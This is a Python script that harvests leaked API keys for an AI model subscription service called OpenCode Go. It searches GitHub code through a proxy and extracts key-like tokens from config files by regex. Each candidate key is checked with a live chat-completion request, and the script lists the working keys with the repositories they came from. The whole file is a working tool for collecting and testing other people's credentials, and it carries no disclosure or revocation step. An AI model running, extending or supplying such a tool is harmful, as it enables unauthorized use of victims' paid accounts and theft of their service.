254 lines
9.7 KiB
Python
254 lines
9.7 KiB
Python
#!/usr/bin/env python3
|
|
"""Targeted hunter for Anomaly OpenCode Go keys (https://opencode.ai/go).
|
|
|
|
OpenCode Go is a subscription aggregator exposing Grok 4.5 / GLM 5.2 / 5.1 via
|
|
an OpenAI-compatible endpoint. Keys live in opencode.json / .opencode configs and
|
|
env vars ANOMALY_API_KEY / OPENCODE_GO_KEY.
|
|
|
|
GitHub via GH_PROXY (GFW blocked). Verification DIRECT against
|
|
https://opencode.ai/zen/go/v1 (the real Anomaly OpenCode Go base, discovered in
|
|
the codex-shim opencode_go client; the old api.opencode.ai/v1 is dead). The
|
|
/models list is public; a bad key returns 401 {"error":{"message":"Invalid API
|
|
key."}}. Only 401 (or invalid-key 400) = DEAD; 200+choices = USABLE;
|
|
402/429/quota = NO_BALANCE (plan exists but exhausted).
|
|
"""
|
|
import json, os, re, sys, time, urllib.parse, urllib.request, urllib.error
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from pathlib import Path
|
|
|
|
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
|
from verify_cache import CachedVerifier
|
|
|
|
HERE = Path(__file__).resolve().parent
|
|
OUT = HERE / "results" / "opencode"
|
|
OUT.mkdir(parents=True, exist_ok=True)
|
|
|
|
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
|
TOKEN = (os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
|
or os.popen("gh auth token 2>/dev/null").read().strip())
|
|
GH_OPENER = (urllib.request.build_opener(
|
|
urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}))
|
|
if GH_PROXY else urllib.request.build_opener())
|
|
DIRECT = urllib.request.build_opener()
|
|
|
|
# ── Search queries: focus on opencode config files & the provider ──
|
|
QUERIES = [
|
|
'"opencode.ai/zen/go"',
|
|
'"zen/go/v1"',
|
|
"OPENCODE_GO_API_KEY",
|
|
"OPENCODE_GO_KEY",
|
|
"ANOMALY_API_KEY",
|
|
'"opencode-go" sk-',
|
|
"filename:opencode.json",
|
|
"filename:opencode.jsonc",
|
|
'"opencode.ai" extension:json',
|
|
'"opencode zen" apiKey extension:json',
|
|
]
|
|
|
|
# OpenCode keys are opaque. In opencode.json they appear under a provider's
|
|
# "key"/"apiKey" field near an opencode baseURL. Harvest broad key-like tokens
|
|
# but require opencode/anomaly context within the file.
|
|
KEY_PATTERNS = [
|
|
re.compile(r"sk-[A-Za-z0-9_\-]{32,}"),
|
|
re.compile(r"\b[A-Za-z0-9]{40,}\b"),
|
|
]
|
|
CONTEXT = ("opencode", "anomaly", "zen/go", "opencode.ai/go", "opencode-go",
|
|
"opencode_go")
|
|
FAKE = ("xxxx", "your-", "example", "1234567890", "replace", "changeme",
|
|
"placeholder", "your_opencode", "sk-test", "opencode-go-key", "map-",
|
|
"implement-", "deactivat")
|
|
|
|
|
|
def gh_code_search(query, max_results=100):
|
|
out = []
|
|
for page in range(1, 4):
|
|
url = ("https://api.github.com/search/code?"
|
|
+ urllib.parse.urlencode({"q": query, "per_page": 100, "page": page}))
|
|
req = urllib.request.Request(url, headers={
|
|
"Authorization": "token " + TOKEN,
|
|
"Accept": "application/vnd.github+json",
|
|
"User-Agent": "opencode-hunter/1.0"})
|
|
try:
|
|
with GH_OPENER.open(req, timeout=30) as r:
|
|
data = json.loads(r.read())
|
|
except urllib.error.HTTPError as e:
|
|
if e.code in (403, 429):
|
|
reset = e.headers.get("X-RateLimit-Reset")
|
|
wait = min(max(int(reset) - int(time.time()) + 2, 2), 120) if reset else 30
|
|
time.sleep(wait)
|
|
continue
|
|
if e.code == 422:
|
|
break
|
|
time.sleep(5)
|
|
continue
|
|
except Exception:
|
|
time.sleep(5)
|
|
continue
|
|
items = data.get("items", [])
|
|
for it in items:
|
|
out.append((it["repository"]["full_name"], it["path"], it["html_url"]))
|
|
if len(items) < 100:
|
|
break
|
|
time.sleep(6.5) # code search ~10/min
|
|
return out[:max_results]
|
|
|
|
|
|
def fetch_raw(repo, path):
|
|
for ref in ("HEAD", "main", "master"):
|
|
url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}"
|
|
req = urllib.request.Request(url, headers={"User-Agent": "opencode-hunter/1.0"})
|
|
try:
|
|
with GH_OPENER.open(req, timeout=25) as r:
|
|
return r.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
if e.code == 404:
|
|
continue
|
|
return ""
|
|
except Exception:
|
|
continue
|
|
return ""
|
|
|
|
|
|
def harvest(text):
|
|
if not text:
|
|
return set()
|
|
low = text.lower()
|
|
# file must mention opencode/anomaly at all
|
|
if not any(c in low for c in CONTEXT):
|
|
return set()
|
|
found = set()
|
|
for rx in KEY_PATTERNS:
|
|
for m in rx.finditer(text):
|
|
k = m.group(0)
|
|
kl = k.lower()
|
|
if any(f in kl for f in FAKE):
|
|
continue
|
|
# require a context marker nearby
|
|
lo = max(0, m.start() - 120)
|
|
hi = min(len(low), m.end() + 120)
|
|
if not any(c in low[lo:hi] for c in CONTEXT):
|
|
continue
|
|
found.add(k)
|
|
return found
|
|
|
|
|
|
def verify(key):
|
|
base = "https://opencode.ai/zen/go/v1"
|
|
for model in ("grok-4.5", "glm-5.2", "glm-5.1", "minimax-m3", "kimi-k3",
|
|
"deepseek-v4-flash"):
|
|
body = json.dumps({
|
|
"model": model,
|
|
"messages": [{"role": "user", "content": "reply with the word ok"}],
|
|
"max_tokens": 16, "temperature": 0.01,
|
|
}).encode()
|
|
req = urllib.request.Request(
|
|
base + "/chat/completions", data=body,
|
|
headers={"Authorization": "Bearer " + key,
|
|
"Content-Type": "application/json"})
|
|
try:
|
|
with DIRECT.open(req, timeout=40) as r:
|
|
d = json.loads(r.read())
|
|
if d.get("choices"):
|
|
return "USABLE", f"{model} 200 choices"
|
|
return "USABLE", f"{model} 200 (no choices)"
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
j = json.loads(e.read())
|
|
msg = (j.get("error", {}) if isinstance(j.get("error"), dict)
|
|
else {}).get("message", str(j))[:120]
|
|
except Exception:
|
|
msg = ""
|
|
code = e.code
|
|
if code == 401:
|
|
return "DEAD", f"401 {msg}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"{model} {code} {msg}"
|
|
if code == 400 and any(w in msg.lower() for w in
|
|
("invalid", "auth", "api key", "unauthor")):
|
|
return "DEAD", f"400 {msg}"
|
|
if code == 404:
|
|
continue # model not supported, try next
|
|
if code == 400:
|
|
return "NO_ACCESS", f"{model} 400 {msg}"
|
|
last = f"{model} {code} {msg}"
|
|
except Exception as e:
|
|
last = f"net {type(e).__name__}"
|
|
return "UNKNOWN", locals().get("last", "all models exhausted")
|
|
|
|
|
|
def main():
|
|
import argparse
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--search", action="store_true")
|
|
ap.add_argument("--verify", action="store_true")
|
|
ap.add_argument("--workers", type=int, default=16)
|
|
args = ap.parse_args()
|
|
|
|
cand = OUT / "candidates.tsv"
|
|
if args.search:
|
|
seen = set()
|
|
if cand.exists():
|
|
for ln in cand.read_text().splitlines():
|
|
p = ln.split("\t")
|
|
if len(p) >= 3:
|
|
seen.add(p[2])
|
|
print(f"proxy={GH_PROXY} token={'yes' if TOKEN else 'NO'}")
|
|
for q in QUERIES:
|
|
res = gh_code_search(q)
|
|
new = [r for r in res if r[2] not in seen]
|
|
for repo, path, url in new:
|
|
seen.add(url)
|
|
with cand.open("a") as f:
|
|
f.write(f"{repo}\t{path}\t{url}\n")
|
|
print(f" {q:42} {len(res):3} hits, {len(new):3} new", flush=True)
|
|
time.sleep(2)
|
|
print(f"candidate files -> {cand}")
|
|
|
|
if args.verify:
|
|
if not cand.exists():
|
|
print("no candidates.tsv (run --search first)")
|
|
return
|
|
files = [ln.rstrip("\n").split("\t") for ln in cand.read_text().splitlines()
|
|
if ln.strip()]
|
|
print(f"harvesting {len(files)} files...")
|
|
keys = {}
|
|
for i, (repo, path, url) in enumerate(files):
|
|
for k in harvest(fetch_raw(repo, path)):
|
|
keys.setdefault(k, url)
|
|
if (i + 1) % 25 == 0:
|
|
print(f" {i+1}/{len(files)} keys={len(keys)}", flush=True)
|
|
time.sleep(0.15)
|
|
print(f"harvested {len(keys)} unique candidate keys")
|
|
|
|
buckets = {k: [] for k in
|
|
("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD")}
|
|
with CachedVerifier("opencode", verify) as ver:
|
|
with ThreadPoolExecutor(max_workers=args.workers) as ex:
|
|
futs = {ex.submit(ver, k): (k, s) for k, s in keys.items()}
|
|
done = 0
|
|
for fut in as_completed(futs):
|
|
k, s = futs[fut]; done += 1
|
|
try:
|
|
v, d = fut.result()
|
|
except Exception as e:
|
|
v, d = "UNKNOWN", f"exc:{e}"
|
|
buckets[v].append((k, s, d))
|
|
if done % 20 == 0:
|
|
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
|
|
f"nobal={len(buckets['NO_BALANCE'])} dead={len(buckets['DEAD'])}",
|
|
flush=True)
|
|
for label in buckets:
|
|
with (OUT / f"{label.lower()}.txt").open("w") as f:
|
|
for k, s, d in buckets[label]:
|
|
f.write(f"{k}\t{s}\t{d}\n")
|
|
print()
|
|
for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
|
print(f" {label:11}: {len(buckets[label])}")
|
|
for k, s, d in buckets["USABLE"]:
|
|
print(f" ✅ {k[:60]} {d}")
|
|
print(f" {s}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|